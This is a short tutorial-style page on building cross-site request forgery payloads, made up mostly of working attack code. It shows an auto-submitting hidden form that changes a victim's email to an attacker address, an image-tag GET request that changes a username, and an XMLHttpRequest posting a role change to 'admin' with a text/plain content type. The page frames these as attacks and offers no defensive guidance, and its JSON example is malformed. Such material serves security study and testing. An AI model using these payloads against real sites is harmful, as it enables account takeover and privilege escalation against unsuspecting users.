Building a Cross-Site Request Forgery Payload
CSRF payloads are crafted as HTML snippets hosted on attacker-controlled sites to trigger unauthorized requests. These exploit browsers sending session cookies automatically, mimicking legitimate user actions like form submissions.
Basic POST Payload
A common payload uses a hidden form auto-submitted via JavaScript to change an email address on a vulnerable site.
<html>
<body>
<form action="https://vulnerable-website.com/email/change" method="POST">
<input type="hidden" name="email" value="pwned@evil-user.net" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
This executes silently when loaded, sending the POST with victim credentials.
GET Request Variant
For GET-based actions, an image tag triggers the request without interaction.
<img src="http://www.example.com/api/setusername?username=CSRFd">
Attackers embed this in pages or emails to perform actions like parameter changes.
Advanced JSON POST
Modern apps may use XMLHttpRequest for JSON payloads, bypassing some protections with text/plain content types.
<script>
var xhr = new XMLHttpRequest();
xhr.open("POST", "http://www.example.com/api/setrole");
xhr.setRequestHeader("Content-Type", "text/plain");
xhr.send('{"role":admin}');
</script>
This targets APIs, escalating privileges if no token validation exists.